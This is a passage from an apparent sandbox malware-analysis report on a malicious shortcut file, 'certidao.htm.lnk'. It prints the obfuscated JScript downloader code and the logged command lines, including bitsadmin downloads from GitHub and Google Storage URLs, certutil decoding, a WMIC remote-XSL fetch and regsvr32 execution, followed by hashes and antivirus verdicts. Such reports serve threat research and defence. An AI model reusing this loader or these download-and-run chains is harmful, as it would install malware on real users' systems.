x70\x2E\x6C\x6F\x67\x3F","\x5C\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x39\x38\x2E\x7E","\x66\x61\x6C\x78\x63\x6F\x6E\x78\x72\x65\x6E\x77\x68\x68\x2E\x64\x6C\x6C\x2E\x7A\x69\x70\x2E\x6C\x6F\x67\x3F","\x72\x65\x67\x73\x76\x72\x33\x32\x2E\x65\x78\x65","\x20\x2F\x73\x20\x22","\x6F\x70\x65\x6E"];function radador(_0x378ex2,_0x378ex3){return Math[_0x890f[1]](Math[_0x890f[0]]()* (_0x378ex3- _0x378ex2)+ _0x378ex2)}var xLuciferxs;var xCaverax;var xparis;var xparis2;var ss1;var stem1;var stem2;var stem3;var stem4;var pingadori;var sVarRaz;var sVar2RazX;var sVarTEMRaz;var sVarCvsTEMRaz;var sVarXEDRaz;var smaeVar;var raraiz;var skvidro;xLuciferxs= false;xCaverax= false;var AppWshShell= new ActiveXObject(_0x890f[2]);var WshShell= new ActiveXObject(_0x890f[3]);var sdjkhiwewsw= new ActiveXObject(_0x890f[3]);var kdcafex= new ActiveXObject(_0x890f[3]);var MaisShell= new ActiveXObject(_0x890f[3]);var xxWshShell= new ActiveXObject(_0x890f[3]);var WSh= new ActiveXObject(_0x890f[3]);var ShA= new ActiveXObject(_0x890f[4]);function Bxaki(_0x378ex1f,_0x378ex20){try{xxWshShell[_0x890f[9]](String[_0x890f[5]](98)+ String[_0x890f[5]](105)+ String[_0x890f[5]](116)+ String[_0x890f[5]](115)+ String[_0x890f[5]](97)+ String[_0x890f[5]](100)+ String[_0x890f[5]](109)+ String[_0x890f[5]](105)+ String[_0x890f[5]](110)+ _0x890f[6]+ _0x378ex1f+ _0x890f[7]+ _0x378ex20+ _0x890f[8],0,true);xxWshShell[_0x890f[9]](_0x890f[10]+ _0x378ex20+ _0x890f[11]+ _0x378ex20,0,true);return true}catch(ex){return false}}function vgos(_0x378ex2){xCaverax= false;smaeVar= "09/" ;xparis= _0x890f[13]+ smaeVar;xparis2= xparis;sVarRaz= _0x890f[14];sVar2RazX= _0x890f[15];raraiz= _0x890f[16];skvidro= _0x890f[17];try{var _0x378ex22= new ActiveXObject(_0x890f[2]);_0x378ex22.CreateFolder(sVarRaz)}catch(ex){};try{var _0x378ex22= new ActiveXObject(_0x890f[2]);_0x378ex22.CreateFolder(sVar2RazX)}catch(ex){};try{if(AppWshShell.FileExists(sVarRaz+ _0x890f[18])){f= AppWshShell.GetFile(sVarRaz+ _0x890f[18]);if(f[_0x890f[19]]< 10){f.Delete();f.Close()}}}catch(ex){};try{if(!AppWshShell.FileExists(sVarRaz+ _0x890f[20])){f= AppWshShell.GetFile(sVarRaz+ _0x890f[18]);f.Delete();f.Close()}}catch(ex){};try{if(!AppWshShell.FileExists(sVarRaz+ _0x890f[21])){f= AppWshShell.GetFile(sVarRaz+ _0x890f[18]);f.Delete();f.Close()}}catch(ex){};if(AppWshShell.FileExists(sVarRaz+ _0x890f[22])){if(AppWshShell.FileExists(sVarRaz+ _0x890f[23])){if(AppWshShell.FileExists(sVarRaz+ _0x890f[24])){if(AppWshShell.FileExists(sVarRaz+ _0x890f[18])){ss1= _0x890f[25];try{xxWshShell[_0x890f[9]](_0x890f[26]+ sVarRaz+ _0x890f[27]+ ss1+ _0x890f[28],0,true)}catch(ex){};xCaverax= true}}}};if(xCaverax== false){try{xLuciferxs= Bxaki(xparis+ _0x890f[29]+ radador(1,999999999),sVarRaz+ _0x890f[30]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[29]+ radador(1,999999999),sVarRaz+ _0x890f[30])}}catch(ex){};try{xLuciferxs= Bxaki(xparis+ _0x890f[31]+ radador(1,999999999),sVarRaz+ _0x890f[32]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[31]+ radador(1,999999999),sVarRaz+ _0x890f[32])}}catch(ex){};try{xLuciferxs= Bxaki(xparis+ _0x890f[33]+ radador(1,999999999),sVarRaz+ _0x890f[34]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[33]+ radador(1,999999999),sVarRaz+ _0x890f[34])}}catch(ex){};try{xLuciferxs= Bxaki(xparis+ _0x890f[35]+ radador(1,999999999),sVarRaz+ _0x890f[22]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[35]+ radador(1,999999999),sVarRaz+ _0x890f[22])}}catch(ex){};try{xLuciferxs= Bxaki(xparis+ _0x890f[36]+ radador(1,999999999),sVarRaz+ _0x890f[37]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[36]+ radador(1,999999999),sVarRaz+ _0x890f[37])}}catch(ex){};try{xLuciferxs= Bxaki(xparis+ _0x890f[38]+ radador(1,999999999),sVarRaz+ _0x890f[23]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[38]+ radador(1,999999999),sVarRaz+ _0x890f[23])}}catch(ex){};try{xLuciferxs= Bxaki(xparis+ _0x890f[39]+ radador(1,999999999),sVarRaz+ _0x890f[40]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[39]+ radador(1,999999999),sVarRaz+ _0x890f[40])}}catch(ex){};try{xLuciferxs= Bxaki(xparis+ _0x890f[41]+ radador(1,999999999),sVarRaz+ _0x890f[24]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[41]+ radador(1,999999999),sVarRaz+ _0x890f[24])}}catch(ex){};try{xLuciferxs= Bxaki(xparis+ _0x890f[42]+ radador(1,999999999),sVarRaz+ _0x890f[43]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[42]+ radador(1,999999999),sVarRaz+ _0x890f[43])}}catch(ex){};xxWshShell[_0x890f[9]](_0x890f[44]+ skvidro+ _0x890f[45]+ sVarRaz+ _0x890f[46],0,false);try{xLuciferxs= Bxaki(xparis+ _0x890f[47]+ radador(1,999999999),sVarRaz+ _0x890f[48]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[47]+ radador(1,999999999),sVarRaz+ _0x890f[48])}}catch(ex){};try{xLuciferxs= Bxaki(xparis+ _0x890f[49]+ radador(1,999999999),sVarRaz+ _0x890f[18]);if(xLuciferxs== false){Bxaki(xparis2+ _0x890f[49]+ radador(1,999999999),sVarRaz+ _0x890f[18])}}catch(ex){};ss1= _0x890f[25];if(AppWshShell.FileExists(sVarRaz+ _0x890f[27]+ ss1)){try{ShA.ShellExecute(_0x890f[50],_0x890f[51]+ sVarRaz+ _0x890f[27]+ ss1+ _0x890f[28],_0x890f[7],_0x890f[52],0)}catch(ex){}}};xxWshShell[_0x890f[9]](String[_0x890f[5]](99)+ String[_0x890f[5]](109)+ String[_0x890f[5]](100)+ String[_0x890f[5]](32)+ String[_0x890f[5]](47)+ String[_0x890f[5]](107)+ String[_0x890f[5]](32)+ String[_0x890f[5]](101)+ String[_0x890f[5]](99)+ String[_0x890f[5]](104)+ String[_0x890f[5]](111)+ String[_0x890f[5]](32)+ String[_0x890f[5]](37)+ String[_0x890f[5]](116)+ String[_0x890f[5]](105)+ String[_0x890f[5]](109)+ String[_0x890f[5]](101)+ String[_0x890f[5]](37)+ String[_0x890f[5]](32)+ String[_0x890f[5]](38)+ String[_0x890f[5]](38)+ String[_0x890f[5]](32)+ String[_0x890f[5]](116)+ String[_0x890f[5]](105)+ String[_0x890f[5]](109)+ String[_0x890f[5]](101)+ String[_0x890f[5]](111)+ String[_0x890f[5]](117)+ String[_0x890f[5]](116)+ String[_0x890f[5]](32)+ String[_0x890f[5]](52)+ String[_0x890f[5]](48)+ String[_0x890f[5]](48)+ String[_0x890f[5]](48)+ String[_0x890f[5]](32)+ String[_0x890f[5]](62)+ String[_0x890f[5]](32)+ String[_0x890f[5]](78)+ String[_0x890f[5]](85)+ String[_0x890f[5]](76)+ String[_0x890f[5]](32)+ String[_0x890f[5]](38)+ String[_0x890f[5]](38)+ String[_0x890f[5]](32)+ String[_0x890f[5]](101)+ String[_0x890f[5]](120)+ String[_0x890f[5]](105)+ String[_0x890f[5]](116),0,true);vgos(radador(1,999999999))}vgos(radador(1,999999999))"2c:T764,Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwa.jpg.z %PUBLIC%\Libraries\temporary\falxconxrenwa.jpg" (UID: 00035440-00003916) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwb.jpg.z %PUBLIC%\Libraries\temporary\falxconxrenwb.jpg" (UID: 00035527-00003280) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwc.jpg.z %PUBLIC%\Libraries\temporary\falxconxrenwc.jpg" (UID: 00035602-00003912) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwdwwn.gif.z %PUBLIC%\Libraries\temporary\falxconxrenwdwwn.gif" (UID: 00035697-00003780) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwdx.gif.z %PUBLIC%\Libraries\temporary\falxconxrenwdx.gif" (UID: 00035765-00001412) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwg.gif.z %PUBLIC%\Libraries\temporary\falxconxrenwg.gif" (UID: 00035839-00003360) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwgx.gif.z %PUBLIC%\Libraries\temporary\falxconxrenwgx.gif" (UID: 00035902-00003464) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwxa.~.z %PUBLIC%\Libraries\temporary\falxconxrenwxa.~" (UID: 00035975-00003716) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwxb.~.z %PUBLIC%\Libraries\temporary\falxconxrenwxb.~" (UID: 00036093-00003396) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenw98.~.z %PUBLIC%\Libraries\temporary\falxconxrenw98.~" (UID: 00036227-00002488) Process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenw64.~.z %PUBLIC%\Libraries\temporary\falxconxrenw64.~" (UID: 00036352-00003976)2d:Ta6e,Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwa.jpg.zip.log?861596569 %PUBLIC%\Libraries\temporary\falxconxrenwa.jpg.z" (UID: 00035402-00003144) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwb.jpg.zip.log?645494996 %PUBLIC%\Libraries\temporary\falxconxrenwb.jpg.z" (UID: 00035474-00004084) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwc.jpg.zip.log?130833459 %PUBLIC%\Libraries\temporary\falxconxrenwc.jpg.z" (UID: 00035560-00003336) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwdwwn.gif.zip.log?693919877 %PUBLIC%\Libraries\temporary\falxconxrenwdwwn.gif.z" (UID: 00035634-00003252) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwdx.gif.zip.log?848848220 %PUBLIC%\Libraries\temporary\falxconxrenwdx.gif.z" (UID: 00035723-00002672) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwg.gif.zip.log?321439538 %PUBLIC%\Libraries\temporary\falxconxrenwg.gif.z" (UID: 00035803-00003288) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwgx.gif.zip.log?706982735 %PUBLIC%\Libraries\temporary\falxconxrenwgx.gif.z" (UID: 00035868-00003316) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwxa.gif.zip.log?459674814 %PUBLIC%\Libraries\temporary\falxconxrenwxa.~.z" (UID: 00035937-00003988) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwxb.gif.zip.log?675109326 %PUBLIC%\Libraries\temporary\falxconxrenwxb.~.z" (UID: 00036000-00001820) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenw98.dll.zip.log?562539923 %PUBLIC%\Libraries\temporary\falxconxrenw98.~.z" (UID: 00036150-00002204) Process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwhh.dll.zip.log?630322429 %PUBLIC%\Libraries\temporary\falxconxrenw64.~.z" (UID: 00036265-00002220)2e:T4e5,Found malicious artifacts related to "172.217.5.227": ... File SHA256: cd8d9eb577df9a37a5b0c93496aa92c65952fd0d0ecfc7d6398968a0db213acf (AV positives: 59/71 scanned on 04/29/2019 21:07:50) File SHA256: 19ba17d86ef6c07ccdf1e913c8568fd47f24401a9d569c79d901481b9e9141a1 (AV positives: 59/74 scanned on 04/28/2019 21:30:16) File SHA256: ceaa048acc8016118eb78fe30a7256bb6be3e6aede7424f6bee47918c7af9889 (AV positives: 54/72 scanned on 04/18/2019 23:53:16) File SHA256: 0ed1c6fc17d370555a9849a8992148b3823c92545ecc0d1c2f3462cf2731f76f (AV positives: 51/73 scanned on 04/17/2019 20:20:43) File SHA256: 07d30d52f22d3f8e2f19ed8162c840bacfe720ada1d038fbb1545c3494cfcda6 (AV positives: 44/67 scanned on 04/17/2019 20:41:42) File SHA256: f329f628f3e544cf1524234d8894dd1b3150a72c0644652ab78e5777466e7efa (Date: 03/22/2018 23:58:21) File SHA256: df929935d458acaa95768867a69d78c23b9e75dd4c7a33857d3bfb3484e094bd (Date: 03/22/2018 08:19:22) File SHA256: 7b2b23e85796c2ee7cd4c197630c64efaf3503614b032860f392ea622caf75f3 (Date: 03/22/2018 08:15:23) File SHA256: 3932a4593586fe7bbcb8eab8b39e159dc623179f6ca9d2d4ae43fe28fb11b95e (Date: 03/20/2018 18:39:52) File SHA256: 26fcb7337fc6b9779b18909729a159c2df74a03e40d783839b45b78457567d4d (Date: 02/11/2018 15:27:59)2f:T1a33,Spawned process "cmd.exe" with commandline "/V /C "set x=C77jhd2766:\\77jhd2766W77jhd2766i77jhd2766nd77jhd2766ow77jhd2766s\\s77jhd2766ys77jhd2766te77jhd2766m377jhd2766277jhd2766\\77jhd2766w77jhd2766b77jhd2766e77jhd2766m\\W77jhd2766M77jhd2766I77jhd2766C.e77jhd2766x77jhd2766e o77jhd2766s g77jhd2766e77jhd2766t UF77jhd2766H77jhd2766K77jhd2766m77jhd2766xi77jhd2766h277jhd2766 fre77jhd2766evi77jhd2766r77jhd2766t77jhd2766u77jhd2766a77jhd2766l77jhd2766me77jhd2766mo77jhd2766ry77jhd2766 /77jhd2766fo77jhd2766rm77jhd2766at:"h77jhd2766t77jhd2766t77jhd2766p77jhd2766s77jhd2766:77jhd2766/77jhd2766/st77jhd2766o77jhd2766r77jhd2766ag77jhd2766e.77jhd2766go77jhd2766og77jhd2766lea77jhd2766pis77jhd2766.co77jhd2766m77jhd2766/77jhd2766a77jhd2766w77jhd2766s77jhd2766d77jhd2766x/77jhd27660977jhd2766/v77jhd2766.t77jhd2766xt77jhd2766#0277jhd276650177jhd27664q277jhd2766977jhd2766I77jhd2766S77jhd2766q77jhd2766c77jhd2766z77jhd2766v" &&echo %x:77jhd2766=%|%WINDIR%\system32\cmd.exe"" (UID: 00034166-00002416) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /S /D /c" echo %x:77jhd2766=%"" (UID: 00034268-00002404) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe" (UID: 00034270-00002752) Spawned process "WMIC.exe" with commandline "C:\\Windows\\system32\\wbem\\WMIC.exe os get UFHKmxih2, freevirtualmemory /format:"https://storage.googleapis.com/awsdx/09/v.txt#025014q29ISqczv"" (UID: 00034451-00002372) Spawned process "WMIC.exe" with commandline "os get SGJODWQB, YTTMYLOR, ERVCAKQF, lastbootupdate /format:"https://storage.googleapis.com/awsdx/09/vv.txt?6339627"" (UID: 00035117-00001644) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwa.jpg.zip.log?861596569 %PUBLIC%\Libraries\temporary\falxconxrenwa.jpg.z" (UID: 00035402-00003144) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwa.jpg.z %PUBLIC%\Libraries\temporary\falxconxrenwa.jpg" (UID: 00035440-00003916) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwb.jpg.zip.log?645494996 %PUBLIC%\Libraries\temporary\falxconxrenwb.jpg.z" (UID: 00035474-00004084) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwb.jpg.z %PUBLIC%\Libraries\temporary\falxconxrenwb.jpg" (UID: 00035527-00003280) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwc.jpg.zip.log?130833459 %PUBLIC%\Libraries\temporary\falxconxrenwc.jpg.z" (UID: 00035560-00003336) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwc.jpg.z %PUBLIC%\Libraries\temporary\falxconxrenwc.jpg" (UID: 00035602-00003912) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwdwwn.gif.zip.log?693919877 %PUBLIC%\Libraries\temporary\falxconxrenwdwwn.gif.z" (UID: 00035634-00003252) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwdwwn.gif.z %PUBLIC%\Libraries\temporary\falxconxrenwdwwn.gif" (UID: 00035697-00003780) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwdx.gif.zip.log?848848220 %PUBLIC%\Libraries\temporary\falxconxrenwdx.gif.z" (UID: 00035723-00002672) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwdx.gif.z %PUBLIC%\Libraries\temporary\falxconxrenwdx.gif" (UID: 00035765-00001412) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwg.gif.zip.log?321439538 %PUBLIC%\Libraries\temporary\falxconxrenwg.gif.z" (UID: 00035803-00003288) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwg.gif.z %PUBLIC%\Libraries\temporary\falxconxrenwg.gif" (UID: 00035839-00003360) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwgx.gif.zip.log?706982735 %PUBLIC%\Libraries\temporary\falxconxrenwgx.gif.z" (UID: 00035868-00003316) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwgx.gif.z %PUBLIC%\Libraries\temporary\falxconxrenwgx.gif" (UID: 00035902-00003464) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwxa.gif.zip.log?459674814 %PUBLIC%\Libraries\temporary\falxconxrenwxa.~.z" (UID: 00035937-00003988) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwxa.~.z %PUBLIC%\Libraries\temporary\falxconxrenwxa.~" (UID: 00035975-00003716) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwxb.gif.zip.log?675109326 %PUBLIC%\Libraries\temporary\falxconxrenwxb.~.z" (UID: 00036000-00001820) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenwxb.~.z %PUBLIC%\Libraries\temporary\falxconxrenwxb.~" (UID: 00036093-00003396) Spawned process "cmd.exe" with commandline "/V /K "echo 139_TESLA_>%PUBLIC%\Libraries\temporary\r1.log"&& exit" (UID: 00036128-00001428) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenw98.dll.zip.log?562539923 %PUBLIC%\Libraries\temporary\falxconxrenw98.~.z" (UID: 00036150-00002204) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenw98.~.z %PUBLIC%\Libraries\temporary\falxconxrenw98.~" (UID: 00036227-00002488) Spawned process "bitsadmin.exe" with commandline "/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwhh.dll.zip.log?630322429 %PUBLIC%\Libraries\temporary\falxconxrenw64.~.z" (UID: 00036265-00002220) Spawned process "certutil.exe" with commandline "-decode %PUBLIC%\Libraries\temporary\falxconxrenw64.~.z %PUBLIC%\Libraries\temporary\falxconxrenw64.~" (UID: 00036352-00003976) Spawned process "cmd.exe" with commandline "/k echo %time% && timeout 4000 > NUL && exit" (UID: 00036389-00002480) Spawned process "timeout.exe" with commandline "timeout 4000" (UID: 00036397-00001672)30:T7a8,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAFhElEQVR42u2XW0yTZxzGyXbhhcuWLHOyLB6j2dXulh2ujMuWzWxsbHhYtmg2SVg8YDIic+o8ztPUDSgIyMRNRTlZUdRRxgposUVKEaQFhaJAaS1t6fk79fTs/d5CsU5LAS99kyfkBb7v/3ue//v9vzYh4dl6th6zurq6MCaPh0W8+9bWVly7poBKpcK0AUIhYHjYhoaGJjidHgSDwZj7QCAAvV5P9g04f/7C0wGQyeT0Rj09fbRg9D4QtRcBLBYLFIpwAqmpqXh6CTjc0Y7JXiz46F6URqPB0NAQmpubkZaWhmkAhEYVpMXHFYgUi5afqq2tDT6fD1arFTdv3sTGjRsxZYDowhOD+P1+KJVKMAwDr9cLg8GAuro6rF27FpMGGCsk3pRhOfhJgYlSEP+3uroalZWVKC8vp6qqqkJNTU38ALt27YJSrcGIy0ui9EPVoUPuucuQyhonbIEI4Pf7qEQTYjvEp0Imk8UHoB0cRFW9DmfkndhXUo8LjS24cK0XxVeuI+n7rajX3MW/6jsoltZCqbuP5q7+uKTVauMDSNtSgW35bbjabEW1ug9XVTooO4xQdvajuLoRudJ6nK5RYc8fF3H49BXqdNx52L14AMclRDRh8azjJ/Fd5j78elaFauUA5Op7kF5vx5fph5Bf0YiWbiPKGjsg0xmx4WAWlqasjjsBUTGL/ywpQ2GVEmdqb6Pqhh7yNiM0PWa06804cOIS6jQ9UPda0XLXhFtDNmwtqsDm3/96yPmj7sedC0JYTyy+Pv0HbN6cOSVt23MQkpLLqG/tnnoC4o3c5HQPeHg84EPggoDXF4TZ4YGDYcESdy6Gg8XlARsIQiDzQaAzIkQh1v1WikNFlVHOx1wLAh9RTACzEECXmYPJC+w/p8bMD44i8TMJFq06jsVfFUb0WnIeFpPf+QlAYBSg+FIjVmccmF4CBpY8t2Ye2iEPrB4BJ2u0WLAyH4mfSzA3pQBzlx8jyscrn2RjXrIEQoAkEAoD7M49C33fPZrA45yL4vkJEjByAdwdFtDe70CvjcOg0Yadp5R4eVkW5q0owPxRzSIAi1KyaSv8owlk5JRGXDbd1kP1hPkQE6DfzaHH6sN9ewh2xodKRQ8WrCjEvOXjxeevLMSrFCAHHl8IPgIhXnugog6ltWoYTSbqlmG8EddhcVQxAewA7jxgYeH8UOvteOPrIsxJOUYKF9Lic77Iw+vJuSSBLCwmAC4+ADcrUIDOASM25ZVh/Za91KmivWfyCYyQWd5Hoh8hN/70RylmJUmwcGUBjT8xKRuzlx0hvc/GzKUHsTA5C15/EMYRLwWQdfTRMZ2RuYU6t9vtEdcPKyaAlffB6OHQ1G3B7KQccgALI8Wfe3c3yuQ6NHUakPDOTsz+6BA8gg8sET0DeeX4Jn0Hyq/K6RloaNVNPgEXScBkc6KgugMvfZxFAcTIn39vNw6fUcDldsNL3vEVjd14ccleuEj8rOCnAOVVf1PnJnIGDIZBOBzRCXCcKDY2AHn86cqRtuGFD4+Sw5ePGUv2IzO3jjzzgIsMJwcfJH3nISUQLo4A8OEEtp9qQslFGWqVt/CPqh2Kjt7JJ8CQ4n4imXoQM94/QtogQSLp+4CFTEPysdvsJnIyZEZwcDI8mZA8vKMAa375EyeKi8GyLNxuF/nJjLoOOx9TTACeFHf6iEhfl2woQcKb2/DWt0XwkKgNVjsGbW5Y3DwZxyyGnV4YrU7Y3QwFWLUmFfIWLW506qc+CQUCMMKFUzDYvFjxUykS3t6BVTvOQ67ph4l86jU7GAy7xHcCgyGLDSxxKF4rOg/3mv2f67gTEFcA40t8vdJISdTi8+5wuWF3EpF2ODykFXYX/bt47bS/hqVvypjy63jr9u3TBvgPWZxOdQfvH4gAAAAASUVORK5CYII=1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790601246884,"unified_at":"2026-09-28T13:14:06.884Z","metadata":{"hashes":{"sha256":"82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a","sha1":"f1d18bf14f919f1b36be3ef58e2b1f328586388c","md5":"b61d0630c4efd55397eedd9e7ab323ae","sha512":"e827b8c1d2f41c4a072e0fe65038f92dd638658c718a477e7ae6b0f4baa09f7b5e76ef3b4db46febf0883eb903f6037f1befc53f5681a09ff3193530c7af8314","ssdeep":"48:8d1lnZQgcUu8ZPzGUNy0G6oFG4Jo/x4OZaTGHK5:8nlhfuOPzGUNy0rolJgOGgGq5","ssdeep_chunks":["48:8d1lnZQ","48:d1lnZQg","48:1lnZQgc","48:lnZQgcU","48:nZQgcUu","48:ZQgcUu8","48:QgcUu8Z","48:gcUu8ZP","48:cUu8ZPz","48:Uu8ZPzG","48:u8ZPzGU","48:8ZPzGUN","48:ZPzGUNy","48:PzGUNy0","48:zGUNy0G","48:GUNy0G6","48:UNy0G6o","48:Ny0G6oF","48:y0G6oFG","48:0G6oFG4","48:G6oFG4J","48:6oFG4Jo","48:oFG4Jo/","48:FG4Jo/x","48:G4Jo/x4","48:4Jo/x4O","48:Jo/x4OZ","48:o/x4OZa","48:/x4OZaT","48:x4OZaTG","48:4OZaTGH","48:OZaTGHK","48:ZaTGHK5","96:8d1lnZQ","96:d1lnZQg","96:1lnZQgc","96:lnZQgcU","96:nZQgcUu","96:ZQgcUu8","96:QgcUu8Z","96:gcUu8ZP","96:cUu8ZPz","96:Uu8ZPzG","96:u8ZPzGU","96:8ZPzGUN","96:ZPzGUNy","96:PzGUNy0","96:zGUNy0G","96:GUNy0G6","96:UNy0G6o","96:Ny0G6oF","96:y0G6oFG","96:0G6oFG4","96:G6oFG4J","96:6oFG4Jo","96:oFG4Jo/","96:FG4Jo/x","96:G4Jo/x4","96:4Jo/x4O","96:Jo/x4OZ","96:o/x4OZa","96:/x4OZaT","96:x4OZaTG","96:4OZaTGH","96:OZaTGHK","96:ZaTGHK5","48:8nlhfuO","48:nlhfuOP","48:lhfuOPz","48:hfuOPzG","48:fuOPzGU","48:uOPzGUN","48:OPzGUNy","48:zGUNy0r","48:GUNy0ro","48:UNy0rol","48:Ny0rolJ","48:y0rolJg","48:0rolJgO","48:rolJgOG","48:olJgOGg","48:lJgOGgG","48:JgOGgGq","48:gOGgGq5"],"imphash":"Unknown"},"file_info":{"file_name":"certidao.htm.lnk","file_type":["lnk"],"file_type_id":"file link","file_size":3662,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1556883795000,"last_seen":1677188033000,"last_multi_scan":1677188033000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["apt"]},"stats":{"av":{"malicious_count":13,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":12},"sandbox_signatures":{"informative_count":44,"suspicious_count":11,"malicious_count":9,"total":64},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"LNK/Runner","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/LNK.WMI.Downloader.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.LNK-COMSPEC.